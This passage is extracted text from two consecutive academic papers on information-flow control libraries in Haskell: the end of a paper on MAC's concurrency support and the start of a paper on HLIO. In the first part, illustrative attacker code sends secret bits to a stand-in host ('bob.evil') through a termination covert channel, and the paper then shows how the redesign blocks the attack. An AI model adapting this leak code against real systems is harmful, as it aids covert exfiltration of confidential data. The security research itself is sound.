285



tents and lengths—see definition for dict . Then, for each generated
password (forM dict (guess lpwd)), function guess asserts if it
is equal to the password under scrutiny (pwd ≡ try ). If so, it loops
(see definition of loop); otherwise, it sends Bob’s server a message

indicating that the guess was incorrect. Since the order of elements
in dict is deterministic, Bob can guess the password by inspecting
the last received HTTP request. Bob integrates the successful attack
into the password manager.

Bob

common pwds wget lpwd =
attack lpwd >> Ex4 .common pwds wget lpwd

Despite his success, Bob is not happy about the leaking band-
width of his attack—in the worst case, it needs to explore the whole
space of numeric passwords from length four to length eight. If Bob

wants to guess long passwords, the attack is not viable.

In a sequential setting, the most effective manner to exploit the
termination covert channel is a brute-force attack (Askarov et al.
2008)—taking exponential time in the size (of bits) of the secret.
As the example above shows, such attacks consist of iterating over
the domain of secrets and producing an observable output at each
iteration until the secret is guessed. We remark that most main-
stream IFC compilers and interpreters ignore leaks due to termi-
nation, e.g., Jif (Myers et al. 2001)–based on Java—, FlowCaml
(Simonet 2003)—based on Ocaml—, and JSFlow (Hedin et al.
2014)—based on JavaScript. In a similar manner, our development
of MAC ignores termination for sequential programs. The intro-
duction of concurrency, however, increases the bandwidth of this
covert channel to the point where it can no longer be neglected
(Stefan et al. 2012a).

6. Concurrency

MAC is of little protection against information leaks when concur-
rency is naively introduced. The mere possibility to run (conceptu-
ally) simultaneous MAC ℓ computations provides attackers with
new tools to bypass security checks. In particular, freely spawning
threads magnifies the bandwidth of the termination covert channel
to be linear in the size (of bits) of secrets—as opposed to exponen-

tial as in sequential programs7. In this section, we focus on provid-
ing concurrency while avoiding the termination covert channel.

EXAMPLE 8. Charlie insists that concurrency is a feature that
cannot be disregarded nowadays. In Charlie’s eyes, Alice’s library
should provide a fork-like primitive if she wants MAC to be widely
adopted inside the company. Naturally, Alice is under a lot of
pressure to add concurrency, and as a result of that, she extends
the API as follows.

Alice

forkMAC ::MAC ℓ ()→ MAC ℓ ()
forkMAC = ioTCB . forkIO . runMAC

Function forkMAC spawns the computation given as an argument
in a lightweight Haskell thread. In Alice’s opinion, this function
simply spawns another computation of the same kind, an action
which does not seem to introduce any security loop holes.

After checking the new interface, Bob suspects that interactions
between joinMAC and forkMAC could compromise secrecy. Specifi-
cally, Bob realizes that looping infinitely in a thread does not af-
fect the progress of another one. With that in mind, Bob writes a

7 Additionally, concurrency empowers untrusted code to exploit data races
to leak information—a covert channel known as internal timing (Smith &
Volpano 1998). As shown in (Stefan et al. 2012a), the same mechanism
eliminates both the termination and internal timing covert channel and
therefore we do not discuss it any further.

forkMAC :: ℓL ⊑ ℓH ⇒ MAC ℓH () → MAC ℓL ()
forkMAC m = (ioTCB . forkIO . runMAC) m >> return ()

Figure 11. Secure forking of threads

function structurally similar to crashOnTrue , i.e., containing a
joinMAC block followed by a public event.

Bob

loopOn :: Bool → Labeled H Bool → Int → MAC L ()
loopOn try lbool n = do

joinMAC (do
proxy (labelOf lbool )
bool ← unlabel lbool

when (bool ≡ try) loop)
wgetMAC ("http://bob.evil/bit=" ++ show n

++ ";"++ show (¬ try))
return ()

Function loopOn loops if the secret coincides with its first
argument. Otherwise, it sends the value ¬ try to Bob’s server.
As the next step, Bob takes the attack from Section 4 and modifies
function leakBit as follows.

Bob

leakBit :: Labeled H Bool → Int → MAC L ()
leakBit lbool n =
forkMAC (loopOn True lbool n) >>
forkMAC (loopOn False lbool n) >>
return ()

This function spawns two MAC L-threads; one of them is going
to loop infinitely, while the other one leaks the secret into Bob’s
server. As in Section 4, leaking a single bit in this manner leads to
compromising any secret with high bandwidth.

What constitutes a leak is the fact that a non-terminating
MAC ℓH-action can suppress the execution of subsequently
MAC ℓL-events. The reason for the attack is similar to the one
presented in Example 5; the difference being that it suppresses sub-
sequent public actions with infinite loops rather than by throwing
exceptions. In Example 8, a non-terminating joinMAC (see function
loopOn) suppresses the execution of wgetMAC and therefore the
communication with Bob’s server—since Bob can detect the ab-
sence of network messages, Bob is learning about Alice’s secrets!
To safely extend the library with concurrency, we force program-
mers to decouple computations which depend on sensitive data
from those performing public side-effects. To achieve that, we re-
place joinMAC by forkMAC as defined in Figure 11. As a result,
non-terminating loops based on secrets cannot affect the outcome
of public events. Observe that it is secure to spawn computations
from more sensitive family members, i.e., MAC ℓH, because the
decision to do so depends on data at level ℓL. Although we re-
move joinMAC, family members can still communicate by sharing
secure references. Since references obey to the no read-up and no
write-down principles, the communication between threads gets
automatically secured.

EXAMPLE 9. To secure MAC, Alice replaces her version of func-
tion forkMAC with the one in Figure 11 and removes joinMAC from
the API. As an immediate result of that, function loopOn does not
compile any longer. The only manner for loopOn to inspect the se-
cret and perform a public side-effect is by replacing joinMAC with
forkMAC as follows.
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type MVarMAC ℓ a = Res ℓ (MVar a)

newEmptyMVarMAC :: ℓL ⊑ ℓH ⇒

MAC ℓL (MVarMAC ℓH a)

newEmptyMVarMAC = newTCB newEmptyMVar

takeMVarMAC :: (ℓL ⊑ ℓH, ℓH ⊑ ℓL) ⇒

MVarMAC ℓL a → MAC ℓH a

takeMVarMAC = wrTCB takeMVar

putMVarMAC :: (ℓL ⊑ ℓH, ℓH ⊑ ℓL) ⇒

MVarMAC ℓH a → a → MAC ℓL ()
putMVarMAC lmv v = rw TCB (flip putMVar v) lmv

Figure 12. Secure MVars

Bob

loopOn :: Bool → Labeled H Bool → Int → MAC L ()
loopOn try lbool n = do

forkMAC (do
proxy (labelOf lbool)
bool ← unlabel lbool

when (bool ≡ try) loop)
wgetMAC ("http://bob.evil/bit=" ++ show n

++ ";" ++ show (¬ try))
return ()

However, this causes both threads spawned by function leakBit
to send messages to Bob’s server. Thus, it is not possible for Bob to
deduce the value of the secret boolean—which effectively neutral-
izes Bob’s attack.

6.1 Synchronization Primitives

Synchronization primitives are vital for concurrent programs. In
this section, we describe how to extend MAC with MVars—an
established synchronization abstraction in Haskell (Peyton Jones
et al. 1996).

We proceed in a similar manner as we did for references.
We consider MVar s as labeled resources, where type synonym
MVarMAC ℓ a is defined as Res ℓ (MVar a), see Figure 12. Sec-
ondly, we obtain secure version of functions newEmptyMVar ::
IO (MVar a), takeMVar :: MVar a → IO a , and putMVar ::
MVar a → a → IO (). Function newEmptyMVarMAC uses
newTCB to create a labeled resource based on newEmptyMVar—
thus, obeying the no write-down rule. Functions takeMVarMAC and
putMVarMAC require special attention.

The type signature of takeMVar suggests that this operation
only performs a read side-effect. However, its semantics performs
more than that. Function takeMVar blocks if the content of the
MVar is empty, i.e., it reads the MVar to determine if it is empty;
otherwise, it atomically fetches the content and empties the MVar ,
i.e., a write side-effect. From the security stand point, we should
account for both effects. With that in mind, we introduce the fol-
lowing auxiliary function.

wrTCB :: ℓL ⊑ ℓH, ℓH ⊑ ℓL ⇒
(d a → IO a) → Res ℓL (d a) → MAC ℓH a

wrTCB io r = writeTCB (λ → return ()) r >> readTCB io r
This function lifts a superfluous write-only IO-action (λ →
return ()). The read side-effect is indicated by lifting the action
given as an argument, i.e., readTCB io r . The type constraints for
wrTCB indicate that operations with read and write effects require
labeled resources to have the same security label as the family
member under consideration. Function takeMVarMAC is defined as
wrTCB takeMVar—see Figure 12.

Dually, function putMVar blocks if the content of the MVar
is not empty, i.e., it reads the MVar to see if it is full; other-
wise, it atomically writes its argument into the MVar , i.e., a write

side-effect. Similar to takeMVarMAC, we should account for both
effects. Hence, the superfluous read-only IO-action of the form
λ → return ⊥. (It is safe to return ⊥ since subsequent actions
will ignore it.) We introduce the following auxiliary function.

rwTCB :: (ℓL ⊑ ℓH, ℓH ⊑ ℓL) ⇒
(d a → IO ()) → Res ℓH (d a) → MAC ℓL ()

rwTCB io r = readTCB (λ → return ⊥) r >> writeTCB io r

Function putMVarMAC is then defined as shown in Figure 12. We
remark that GHC optimizes away the superfluous IO-actions from
wrTCB and rwTCB, i.e., there is no runtime overhead when indicating
read or write effects not captured in the interface of an IO-action.

The types for takeMVarMAC and putMVarMAC can be further
simplified. The unification of ℓL and ℓH obtains that ℓH ⊑ ℓH

(always holds) which makes it possible to remove all the type
constraints—we initially described them to show the derivation of
security types based on read and write effects.

7. Final Remarks

MAC is a simple static security library to protect confidentiality in
Haskell. The library embraces the no write-up and no read-up rules
as its core design principles. We implement a mechanism to safely
extend MAC based on these rules, where read and write effects
are mapped into security checks. Compared with state-of-the-art
IFC compilers or interpreters for other languages, MAC offers a
feature-rich static library for protecting confidentiality in just a few

lines of code (192 SLOC8). We take this as an evidence that ab-
stractions provided by Haskell, and more generally functional pro-
gramming, are amenable for tackling modern security challenges.
For brevity, and to keep this work focused, we do not cover rele-
vant topics for developing fully-fledged secure applications on top
of MAC. However, we briefly describe some of them for interested
readers.

Declassification As part of their intended behavior, programs in-
tentionally release private information—an action known as declas-
sification. There exists many different approaches to declassify data
(Sabelfeld & Sands 2005).

Richer label models For simplicity, we consider a two-point se-
curity lattice for all of our examples. In more complex applications,
confidentiality labels frequently contain a description of the princi-
pals (or actors) who own and are allowed to manipulate data (My-
ers & Liskov 1998; Broberg & Sands 2010). Recently, Buiras et
al. (Buiras et al. 2015) leverage the (newly added) GHC feature
closed type families (Eisenberg et al. 2014) to model DC-labels, a
label format capable to express the interests of several principals
(Stefan et al. 2011a).

Safe Haskell The correctness of MAC relies on two Haskell’s
features: type safety and module encapsulation. GHC includes lan-
guage features and extensions capable to break both features. Safe
Haskell (Terei et al. 2012) is a GHC extension that identifies a sub-
set of Haskell that subscribes to type safety and module encapsula-
tion. MAC leverages SafeHaskell when compiling untrusted code.
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Abstract

Information-Flow Control (IFC) is a well-established approach for
allowing untrusted code to manipulate sensitive data without dis-
closing it. IFC is typically enforced via type systems and static anal-
yses or via dynamic execution monitors. The LIO Haskell library,
originating in operating systems research, implements a purely dy-
namic monitor of the sensitivity level of a computation, particularly
suitable when data sensitivity levels are only known at runtime. In
this paper, we show how to give programmers the flexibility of de-
ferring IFC checks to runtime (as in LIO), while also providing
static guarantees—and the absence of runtime checks—for parts
of their programs that can be statically verified (unlike LIO). We
present the design and implementation of our approach, HLIO (Hy-
brid LIO), as an embedding in Haskell that uses a novel technique
for deferring IFC checks based on singleton types and constraint
polymorphism. We formalize HLIO, prove non-interference, and
show how interesting IFC examples can be programmed. Although
our motivation is IFC, our technique for deferring constraints goes
well beyond and offers a methodology for programmer-controlled
hybrid type checking in Haskell.

Categories and Subject Descriptors D.1.1 [Programming Tech-
niques]: Applicative (Functional) Programming; D.3.3 [Program-
ming Languages]: Language Constructs and Features; D.4.6 [Se-
curity and Protection]: Information flow controls

Keywords Information-flow control, hybrid typing, gradual typ-
ing, dynamic typing, data kinds, constraint kinds, singleton types

1. Introduction

Preserving confidentiality of data has become of extreme impor-
tance, particularly in complex systems where untrusted compo-
nents require access to sensitive information (e.g. text messages,
contact lists, pictures, etc.) in order to provide their functionality.
Information-Flow Control (IFC) is a well-established approach for
allowing untrusted code to manipulate sensitive data without dis-
closing it (Sabelfeld and Myers 2003). IFC essentially scrutinizes

∗ Work done while visiting Stanford University

source code to track how data of different sensitivity levels flows
within a program, where security alarms are raised when confiden-
tiality might be at stake. IFC research has produced three mature
compilers for secure programs: Jif (Myers and Liskov 2000) (based
on Java), FlowCaml (Simonet 2003) (based on Caml and not devel-
oped any more), and Paragon (Broberg et al. 2013) (based on Java).
Alternatively, IFC can be provided via simple libraries in Haskell
where concepts like arrows and monads are repurposed to protect
confidentiality (Li and Zdancewic 2006; Russo et al. 2008).

There exists a broad spectrum of enforcement mechanisms for
IFC, ranging from fully dynamic ones, e.g., in the form of execution
monitors (Austin and Flanagan 2009; Askarov and Sabelfeld 2009),
to static ones, e.g., in the form of type systems (Volpano et al.
1996). Although dynamic and static techniques provide similar
security guarantees (Sabelfeld and Russo 2009), there are many
arguments for choosing dynamic over static approaches and vice
versa. Several of these arguments have their roots in the long-term
dispute between dynamic and static analyses, e.g., overhead vs.
performance, enforcing properties for a program once and for all
vs. monitoring properties in every run of a program, etc.

From the security point of view, specifically, there are good rea-
sons to prefer dynamic over static approaches. Code statically ver-
ified to preserve confidentiality clearly adheres to data sensitivity
levels and policies valid at compile time. However, data sensitiv-
ity levels may be entirely dynamic (e.g. we may read data from a
trusted or a non-trusted domain at runtime) and even policies may
change at runtime (e.g. principals (users) can change the set of prin-
cipals they share data with by—for instance—altering their list of
friends). In situations like this, the statically verified code has to
be restructured to perform runtime checks in ways that the static
analysis or the type system can understand and exploit to verify
the program (we will see an example of that in Section 3). Alterna-
tively, programs have to be written in a way that can statically deal
with all possible sensitivity levels or policies that they could poten-
tially encounter at runtime; this in turn may limit the set of useful
side-effects programs can perform.

The LIO library (Stefan et al. 2011b) for Haskell offers a way
of tackling this problem by providing a monad that dynamically
enforces IFC. Borrowing ideas from operating systems research
(VanDeBogart et al. 2007; Zeldovich et al. 2006), the LIO monad
implements an execution monitor that keeps track of a current label
to indicate the sensitivity level of the computation. The current
label may get raised, or tainted, when the computation depends on
sensitive data. Furthermore, sensitive computations are prevented
from writing into public channels. In practice, LIO has proven
suitable for building production secure web systems (Giffin et al.
2012).

There are plenty of opportunities to optimize away LIO runtime
security checks. For example, it is enough to perform a single check
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for computations that, within a long loop, attempt to write to the
same channel without affecting the current label. Ideally, runtime
checks should only be applied to those parts of the program where
sensitive labels are unknown at compile time or susceptible to
changes at runtime. Although a state-of-the-art tool, LIO does not
support mixing static and dynamic IFC. In this work, we address
this shortcoming.

We present HLIO, a Hybrid IFC library which combines the
best of both approaches. HLIO statically protects confidentiality
while allowing the programmers to defer selected checks to be done
at runtime. In that manner, security checks involving statically-
unknown or prone-to-change labels can be performed at runtime,
while providing static guarantees for the rest of the code. Existing
LIO code can easily be embedded in HLIO. Furthermore, HLIO
provides a very similar interface to LIO. As a result, existing LIO
code can also be incrementally refactored to work in HLIO so that
programmers can obtain static guarantees where possible. The main
purpose of HLIO is making a LIO-like IFC analysis hybrid rather
than making LIO better in the kind of leaks it prevents. Specifically,
our contributions with this paper are:

• We design and implement HLIO, a hybrid approach to IFC
that allows programmers to defer IFC constraints to runtime.
(Section 4)

• We present a novel technique for embedding HLIO as a library
in Haskell. Our technique makes essential use of advanced fea-
tures of the GHC type system and type inference, namely (a)
singleton types (Eisenberg and Weirich 2012), (b) data promo-

tion (Yorgey et al. 2012), and (c) constraint polymorphism1 , i.e.,
data types that can be parameterized over type class constraints,
to enable deferring IFC checks to runtime. We remark that it
is not necessary to understand these advanced type system fea-
tures in order to use our library. (Sections 5 and 6)

• We formalize the core features of HLIO in a calculus that al-
lows us to establish a simulation with LIO, thereby showing
that HLIO cannot leak secrets, i.e., that it satisfies termination-
insensitive noninterference. (Section 7)

• As an overall contribution, we describe a general-purpose mech-
anism for deferring static constraints without any compiler or
language modifications. Those constraints can go well beyond
IFC, and can even include ordinary type equalities emitted by
GHC’s type inference engine (see Section 8). We thus make
it easier for programmers to move across the static/dynamic
boundary, following the mantra of Meijer and Drayton “Static
typing where possible, dynamic typing when needed!” (Meijer
and Drayton 2005).

2. LIO: Flexible Dynamic IFC for Haskell

In this section, we briefly review LIO and its mechanism for dy-
namically protecting confidentiality of data.

class Lattice α where

⊔ :: α→ α→ α

⊑ :: α→ α→ Bool

Figure 1. Security lattice

Security Lattices In an
IFC system, data gets clas-
sified according to its sen-
sitivity degree, which is
often denoted by a secu-
rity label (from now on,
just labels). Formally, la-
bels form a lattice Label to indicate the allowed flows of informa-
tion within a program. Data associated with label ℓ1 can flow into
entities labeled as ℓ2 provided that they respect the order relation-
ship of the lattice, i.e., ℓ1 ⊑ ℓ2. The encoding of security lattices

1 GHC 7.8.1 manual, Section 7.12

can be given as a type class, providing join (⊔), and the order rela-
tionship (⊑)—see Figure 1. In LIO, this type class also includes a
meet (⊓) operation, but we exclude it from our definition since it is

not important for our purposes.2 Our running example is the classi-
cal two-point security lattice, Label, that introduces labels L (low)
and H (high) to classify data as public and secret, respectively.

data Label = L | H
instance Lattice Label

The Label lattice implementation is what one expects; public data
can flow into secret entities, i.e., L ⊑ H , but not vice versa, i.e.,
H 6⊑ L.

The LIO Monad LIO provides the LIO monad to guarantee
that computations manipulate data according to the security lattice.

data LIO a

instance Monad LIO

getLabel :: LIO Label

runLIO :: Label → LIO a → IO a

Figure 2. LIO interface

In (Stefan et al.
2012b), this monad
is parametric on the
security lattice be-
ing considered, but
we consider this lat-
tice to be fixed to
type Label to sim-
plify exposition.

It is expected that untrusted code is written using this monad
(and not directly in the IO monad) in order to have some guaran-
tees about its behavior—this can be enforced using other mech-
anisms (Terei et al. 2012). LIO encapsulates IO actions so that
they are only executed when confidentiality is not compromised. To
achieve that, the monad keeps track of a label ℓcur ::Label , called the
current floating label (or current label for short), which can be re-
trieved at any time by the function getLabel . The role of the current
label is two-fold. Firstly, it implicitly labels all the data in scope.
Secondly, it only allows computations to write to channels that are
labeled with ℓ :: Label such that ℓcur ⊑ ℓ; otherwise, LIO aborts
execution. For instance, a computation m :: LIO a with ℓcur = H
indicates that a secret has already been observed by m—thus, m
cannot subsequently write to public channels.

LIO computations have the flexibility to read sensitive data
above the current label, but at the cost of raising the current label
and thus being more restrictive in subsequent computations. More
specifically, when reading data with sensitivity ℓ::Label , the current
label ℓcur is raised to ℓ′cur = ℓcur ⊔ ℓ—in the LIO terminology, the
new current label floats above the observed data. Consequently, the
current label protects all the data that have been observed.

data Labeled a

labelOf :: Labeled a → Label

label :: Label → a

→ LIO (Labeled a)
unlabel :: Labeled a → LIO a

toLabeled :: Label → LIO a

→ LIO (Labeled a)

Figure 3. Labeled expressions

Labeled Expressions
As in many other IFC
systems, LIO provides
abstractions to label data
with different sensitivity
degrees in a fine-grained
manner—see Figure 3.
Data type Labeled a as-
sociates an expression of
type a with a label in
Label . The pure function
labelOf can retrieve the
label associated with a labeled expression. The functions label and
unlabel are used to respectively create and destroy elements of
this data type. Term label ℓ x creates a labeled expression which
associates label ℓ with expression x , only if ℓcur ⊑ ℓ. This con-
straint ensures that LIO computations do not allocate data below

2 Meet is normally used for tracking integrity, e.g. for checking that data has
not been corrupted by untrusted parties.
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the current label, which could potentially be returned and read by
lower-labeled computations.

Term unlabel x never fails; it extracts the data inside a labeled
expression x but taints (as a side-effect) the current label by join-
ing it (⊔) with the label of the expression. From a security point
of view, creating a labeled expression with label ℓ can be regarded
as writing into a channel at security level ℓ. Similarly, observing
(i.e., unlabeling) a labeled expression is analogous to reading from
a channel with the same security label. For simplicity, we only con-
sider labeled expressions in this paper—they are the simplest ex-
amples of labeled entities. Nevertheless, LIO does support labeled
mutable references (Stefan et al. 2011b), exceptions (Stefan et al.
2012b), and synchronization variables (Stefan et al. 2012a), which
could be orthogonally added.

EXAMPLE 1. (Tainting ℓcur) An LIO computation only raises its
current label when observing (unlabeling) labeled expressions, as
the secure string concatenation example below shows:

lconcat :: Labeled String → Labeled String → LIO String

lconcat lstr1 lstr2 = do -- Initial current label ℓcur

str1 ← unlabel lstr1 -- ℓ′cur = ℓcur ⊔ (labelOf lstr1)
str2 ← unlabel lstr2 -- ℓ′′cur = ℓ′cur ⊔ (labelOf lstr2)
return (str1 ++ str2) -- Final current label ℓ′′cur

Label Creep Label creep is the problem of raising the current la-
bel to a point where computations are no longer capable of per-
forming useful side-effects (Sabelfeld and Myers 2003), i.e., the
current label becomes “too high, too soon.” To address this prob-
lem, LIO provides the primitive toLabeled (Figure 3) to allow com-
putations to only temporarily raise their current label. Specifically,
toLabeled ℓ m executes m with the current label ℓcur at the time of
executing this action. It first ensures that ℓcur ⊑ ℓ since it would
attach ℓ to the result of m—after all, it is creating a labeled value.
Computation m can in turn raise the current label during its exe-
cution, to a new ℓ′cur. After m terminates, toLabeled checks that
ℓ′cur ⊑ ℓ, and if that is the case, label ℓ is used to protect the
sensitivity of the result (in the return value of type Labeled a).

In toLabeled ℓ m , ℓ is an upper bound on the final current
label of m . The reason for that is to avoid leaks by manipulating
the current label inside m (Stefan et al. 2011b). Imagine that the
labeled value is instead wrapped with the final current label of m ,
and that the current label before executing toLabeled is set to L. It
could happen that in one run, the current label in m is ℓ1, where
L ⊏ ℓ1, and depending on information at that level, it decides to
unlabel a piece of data which takes the current label to ℓ2 (ℓ2 6≡ ℓ1).
After toLabeled gets executed, the next instruction simply reads the
label of the returned value (labelOf ), which returns either ℓ1 or ℓ2
without raising the current label. In that manner, code with current
label L can learn from data at level ℓ1—an information leak!

EXAMPLE 2. (Avoiding label creep) With toLabeled in place, we
can provide a more flexible version of lconcat as follows.

lconcat ′ :: Labeled String → Labeled String

→ LIO (Labeled String)
lconcat ′ lstr1 lstr2 = do -- Initial current label ℓcur

let lab = labelOf lstr1 ⊔ labelOf lstr2
lresult ← toLabeled lab (lconcat lstr1 lstr2)
return lresult -- Final current label ℓcur

Observe that lconcat ′ , in contrast with lconcat , can concatenate
secret strings without raising the current label.

RunningLIO Actions without Leaking Secrets Function runLIO
uses its first argument to initialize the current label and executes the
LIO action given as its second argument. It returns an IO action

which is IFC-compliant, i.e., where side-effects do not leak sensi-
tive information with respect to that label.

EXAMPLE 3. (Preventing secret leaking) We describe below a
function which runs untrusted code and publishes a returned string
value in a public web site.

publish :: LIO String → IO String

publish m = do {r ← runLIO L action; report r }
where

action = do

x ← m

lx ← label L x -- succeeds if ℓcur ⊑ L

unlabel lx -- ℓcur is not modified

report s = wget ("http://reports/str=" ++ s) [ ] [ ]

Function wget sends an HTTP request to the URL given as ar-
gument. The action computation runs the untrusted code m but
guards the result x with L by calling label L. This call only suc-
ceeds when the final label of m is less than or equal to L.

Dynamically Labeled Values As mentioned in the introduction,
runtime IFC enforcement is particularly useful in systems where
values get classified based on runtime information. For instance one
can assume (or implement) a primitive that reads a remote labeled
value from the network:

readRemote ::URI → LIO (Labeled String)

The primitive does not necessarily increase the current label as
sensitive data can be encapsulated in the labeled value we return.
A more realistic example of such a primitive can be found in the
extended version of the paper (Buiras et al. 2015).

Untrusted scripts can freely call readRemote without compro-
mising confidentiality since, in order to observe the returned value,
they would have to have their current label tainted and thus would
be restricted from performing unsafe side-effects. While not a prob-
lem for dynamic LIO, we will see in the next section how dy-
namically labeled data complicates the programming model in a
statically-typed IFC discipline.

3. SLIO: Static IFC for Haskell

LIO performs information-flow checks at runtime, and hence the
ability to discharge those statically is certainly appealing.

Security Labels at the Type Level The first step towards a stat-
ically typed version of LIO in Haskell is to transport labels and
lattice operations over labels to the type level. We illustrate how
this can be done in Haskell for the familiar 2-point lattice:

data Label = L | H

class Flows (ℓ1 :: Label ) (ℓ2 :: Label)
instance Flows L L

instance Flows L H

instance Flows H H

type family Join (ℓ1 :: Label) (ℓ2 :: Label ) :: Label where

Join L L = L

Join L H = H

Join H L = H

Join H H = H

The Label datatype constructors will be used at the type-level. In
Haskell terminology, Label will be a promoted datatype (Yorgey
et al. 2012). Moreover, we can represent ⊑-constraints at the type
level using the type class Flows (ℓ1 :: Label) (ℓ2 :: Label) over
labels. The instances of the type class encode specific cases of the
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⊑-relationship. 3 We also use a closed type family (Eisenberg et al.
2014) Join to express the ⊔ computation at the type level.

data SLabel (ℓ :: Label ) where

L :: SLabel L
H :: SLabel H

Figure 4. Singleton labels

Ordinary term-level
labels can now be in-
dexed by type-level la-
bels, i.e., they can be de-
fined as singleton types
in the dependent type the-
ory jargon—see Figure 4.
In a proper dependently typed language, such as Agda or F*, there
would be no need for duplication of labels and lattice functionality
at the type level and, in fact, our formal treatment (Section 7) does
away with the duplication.

Although our running example is the 2-point lattice, we have
successfully applied similar techniques to implement a more com-
plicated type-level lattice, namely DC-labels (Stefan et al. 2011a),
a decentralized security label model for IFC that can express secu-
rity concerns from different actors in a mutual distrust environment.
As far as we know, this is the first implementation of DC-labels at
the type level.

An LIO Hoare State Monad Once the type-level machinery is
in place, we replace our dynamic LIO monad with a Hoare state
monad (Nanevski et al. 2006), indexed by the initial label of a
computation (analogous to a pre-condition) and the final label of
a computation (analogous to a post-condition):

data SLIO (ℓi :: Label) (ℓo :: Label) a
runSLIO :: SLabel ℓi → SLIO ℓi ℓo a → IO a

SLIO is just an intermediate step towards our final solution, but
readers can assume a very similar implementation as that of LIO:
a state monad over the current label.

type SLIO ℓi ℓo a = SLabel ℓi → IO (a,SLabel ℓo)

Due to its more expressive type, SLIO is not a Haskell monad.
Nevertheless, it is a monad in the sense that it is possible to de-
fine meaningful (>>=) and return operators that satisfy the usual
monad laws:

(>>=) :: SLIO ℓ1 ℓ2 a → (a → SLIO ℓ2 ℓ3 b)→ SLIO ℓ1 ℓ3 b

return :: a → SLIO ℓ ℓ a

It is easy to see how these functions are implemented.

A Statically Typed API for IFC SLIO so far seems like a more
precise typing of LIO . However, the ability to express labels and
their operations at the type level immediately opens up the possibil-
ity for converting the dynamic checks of LIO to static proof require-
ments. We do this below by simply rewriting the dynamic API to
use static constraints instead:

data Labeled (ℓ :: Label ) a = Labeled (SLabel ℓ) a
getLabel :: SLIO ℓi ℓi (SLabel ℓi)

labelOf :: Labeled (ℓ :: Label) a → SLabel ℓ

label :: Flows ℓi ℓ⇒ SLabel ℓ→ a

→ SLIO ℓi ℓi (Labeled ℓ a)
unlabel :: Labeled ℓ a → SLIO ℓi (Join ℓi ℓ) a

toLabeled :: SLIO ℓi ℓo a → SLIO ℓi ℓi (Labeled ℓo a)

Function getLabel returns the current label without affecting it.
Function labelOf returns the singleton type corresponding to the
initial label of the computation. Function label creates a labeled
value with label ℓ without modifying the current label ℓi , provided
that ℓi ⊑ ℓ, expressed this time as a static proof obligation

3 Although type classes in Haskell are open, we can prevent malicious users
from introducing bogus instances by employing superclasses and Haskell’s
export mechanism.

Flows ℓi ℓ. Function unlabel , on the other hand, taints the current
label with the value of the labeled expression. Function toLabeled
has a very simple type: just encapsulate the output label in the la-
beled value that we return. The careful reader may observe a small
disconnect between the static and dynamic versions of toLabeled—
this is due to a significant simplification that the static world en-
ables, a point we discuss in detail in Section 8.

Finally, in order to give a valid type to primitives such as
readRemote , it is often convenient to hide the label of a labeled
value with an existential type, so that it no longer appears in the
type. Haskell does not support first-class existential types, so we
encode this with a datatype definition:

data LabeledX a where

LabeledX :: (Labeled (ℓ :: Label) a)→ LabeledX a

Problems When Programming in SLIO Let us consider how one
can program using the SLIO primitives. Suppose that we have a
function report with type

report :: Flows ℓi L⇒ String → SLIO ℓi ℓi ()

that sends a given String to a public server and publishes it on
the Internet. This function has a Flows type class constraint which
specifies that the current label at the time when report is run should
not exceed L, i.e., the public label. For the simple lattice that we
consider in this paper, report can effectively be called only when
ℓi is L. One could imagine more complex situations with a richer
label hierarchy, where more than one label is allowed to report or
when the label associated with the public server is not fixed to L in
advance but is rather dynamically obtained. Such situations would
amplify our arguments in the rest of this section, but the simpler
report above is sufficient for our presentation.

lReport2 lstr1 lstr2 =
do v1 ← unlabel lstr1

v2 ← unlabel lstr2
let result = v1 ++ v2
report result

return result

Figure 5. Static lReport2

Figure 5 considers the se-
cure string concatenation exam-
ple lconcat (from the previous
section), except that we instead
use the statically typed counter-
parts to the LIO operations, and
we incorporate a call to report
in order to publish the result of
the concatenation. This function,
called lReport2 , is a perfectly
well-typed program with type

lReport2 :: Flows (Join (Join ℓi ℓ1) ℓ2) L⇒
Labeled ℓ1 String → Labeled ℓ2 String

→ SLIO ℓi (Join (Join ℓi ℓ1) ℓ2) String

Client scripts can call lReport2 provided that they can sat-
isfy the constraint, which enforces that both strings should be
public, i.e., labeled with L. For instance, assume that we have
lv1 :: Labeled L String , lv2 :: Labeled L String , and code

foo :: SLIO L L String

foo = lReport2 lv1 lv2

All labels are statically resolved, and foo can typecheck as all
constraints can be discharged by the type class and type family
instances.

Consider now the case where some of the labeled values are
dynamically loaded from the network with readRemote from the
previous section, and we furthermore address the label creep issue
by packing the result in a labeled value:
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readRemote :: URI → SLIO ℓi ℓi (LabeledX String)

foo = do

LabeledX (lv1 :: Labeled ℓ1 String)← readRemote host1
LabeledX (lv2 :: Labeled ℓ2 String)← readRemote host2
toLabeled (lReport2 lv1 lv2)

foo = do

...

r ← toLabeled (lReport2 lv1 lv2)
-- pack result in existential

return (LabeledX r)

Figure 6. Hiding existential types

The program is ill-
typed for two reasons.
First, the existential la-
bel variables ℓ1 and
ℓ2, arising from un-
packing the existen-
tials that we read with
readRemote , escape
in the return type, i.e.,
Labeled (Join (Join ℓi ℓ1) ℓ2) String . To address this problem
we could pack the return type in an existential (using LabeledX )
to prevent the existential label from escaping. The modification
is shown in Figure 6. However, even if we prevent the escape of
existential variables in the return type of foo, there is another prob-
lem: the existential variables also escape in the constraint, i.e.,
Flows (Join (Join ℓi ℓ1) ℓ2) L, which makes foo ill-typed.

Since we do not statically know the remote labels, one may won-
der if there is a way to rewrite the program to “assume the worst”
(that they are both H ) and that the current label after unlabelling
them is always—conservatively—H . This option is a non-starter:
first, lReport2 would always be returning high-labeled values, but
much more worryingly, we would not be in a position to call report
any more, even in the case where the actually read remote labels
were both L.

A more appealing way to implement foo is to restructure the
code to incorporate a runtime test that inspects the remote labels:

foo = do

LabeledX lv1 ← readRemote host1
LabeledX lv2 ← readRemote host2
case (labelOf lv1, labelOf lv2) of
(L,L)→ do

lv ← toLabeled (lReport2 lv1 lv2) :: SLIO L L String

return (LabeledX lv)
→ error "Both strings should be public!"

The GADT branch on the labels tests for a specific combination
of remote labels, which allows the type checker to refine the corre-
sponding type-level labels and discharge all generated constraints.
We have also introduced annotations in each branch to fix the SLIO
pre- and post-conditions and guide the type inference engine. In
the case of the 2-point lattice, the above restructuring is not terrible
(only one combination of 4 is a non-error), but more complicated
lattices can quickly introduce lots of GADT pattern matches in po-
tentially multiple places inside the user code.

The example illustrates one awkward aspect of the static ap-
proach: every time we have to move dynamic data into a statically
typed piece of code, programs have to be restructured to introduce
runtime tests. While the runtime tests in this situation are unavoid-
able, in this paper we show how to do this without restructuring the
implementation.

4. HLIO: Mixing Static and Dynamic Typing

In HLIO, users can instead take the “natural” way to write foo and
